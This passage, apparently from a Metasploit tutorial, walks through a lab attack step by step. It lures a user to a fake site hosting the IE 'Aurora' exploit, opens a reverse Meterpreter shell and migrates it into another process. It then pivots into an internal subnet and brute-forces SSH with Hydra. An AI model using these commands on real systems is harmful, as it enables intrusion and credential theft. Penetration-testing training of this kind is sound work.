In addition to what we discussed on the pivoting section we can also use the Metasploit framework to create a tunnel which in turn will allow us to run tools from outside of the framework through it. The following example shows a client side attack in which we convince a user to browse to a fake website where we host an exploit for Internet Explorer.
msf > use exploit/windows/browser/ms10_002_aurora msf exploit(ms10_002_aurora) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Automatic msf exploit(ms10_002_aurora) > set URIPATH / URIPATH => / msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms10_002_aurora) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(ms10_002_aurora) > set SRVPORT 80 SRVPORT => 80 msf exploit(ms10_002_aurora) > set InitialAutoRunScript migrate -f InitialAutoRunScript => migrate -f msf exploit(ms10_002_aurora) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.101:4444 [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.1.101:80/ [*] Server started. msf exploit(ms10_002_aurora) >
When the target visits our malicious URL, a meterpreter session is opened for us giving full access the the system. Not only did we receive a meterpreter session from our target but due to the “InitialAutoRunScript” option that we previously used, our shell was automatically migrated into another process so we will not lose it if the target decides to close the browser.
msf exploit(ms10_002_aurora) > [*] 192.168.1.201 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption [*] Sending stage (769536 bytes) to 192.168.1.201 [*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.201:1024) at 2014-10-07 23:43:14 +0300 [*] Session ID 1 (192.168.1.101:4444 -> 192.168.1.201:1024) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (1016) [*] Spawning notepad.exe process to migrate to [+] Migrating to 1416 [+] Successfully migrated to process msf exploit(ms10_002_aurora) > sessions -i 1 [*] Starting interaction with 1... meterpreter > background
Once we successfully obtained a shell we background the meterpreter session in order to take advantage of the autoroute post module, this will allow us to attack targets within the compromised network.
[*] Backgrounding session 1... msf exploit(ms10_002_aurora) > use post/windows/manage/autoroute msf post(autoroute) > show options Module options (post/windows/manage/autoroute): Name Current Setting Required Description ---- --------------- -------- ----------- CMD add yes Specify the autoroute command (accepted: add, print, delete) NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24" SESSION yes The session to run this module on. SUBNET no Subnet (IPv4, for example, 10.10.10.0) msf post(autoroute) > set SESSION 1 SESSION => 1 msf post(autoroute) > set SUBNET 10.1.13.0 SUBNET => 10.1.13.0 msf post(autoroute) > run [*] Running module against XEN-XP-SP2-BARE [*] Adding a route to 10.1.13.0/255.255.255.0... [*] Post module execution completed
Now that we have added a route to the target network we will take advantage of the socks4a auxiliary from within the framework. This auxiliary module provides a proxy server which uses the Metasploit framework routing which we have created to relay connections.
msf post(autoroute) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. msf auxiliary(auxiliary/server/socks4a) > set SRVPORT 8080 SRVPORT => 8080 msf auxiliary(auxiliary/server/socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server
We quickly configure proxychains to match the port that we chose for our proxy server.
root@kali:~# nano /etc/proxychains.conf root@kali:~# cat /etc/proxychains.conf | grep socks4 # socks4 192.168.1.49 1080 # proxy types: http, socks4, socks5 socks4 127.0.0.1 8080
Since everything is setup we should be able to run external tools through our Metasploit created tunnel and directly attack our target network.
root@kali:~# proxychains hydra -l admin -P passwords.txt -s 22 10.1.13.3 ssh ProxyChains-3.1 (http://proxychains.sf.net) Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-10-07 23:45:41 [DATA] 16 tasks, 1 server, 17 login tries (l:1/p:17), ~1 try per task [DATA] attacking service ssh on port 22 ...snip... |S-chain|->>-127.0.0.1:8080->>>>-10.1.13.3:22->>>>-OK >>>>-OK >>>>-OK >>>>-OK >>>>-OK ...snip... >>>>-OK [22][ssh] host: 10.1.13.3 login: admin password: password1 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-10-07 23:45:46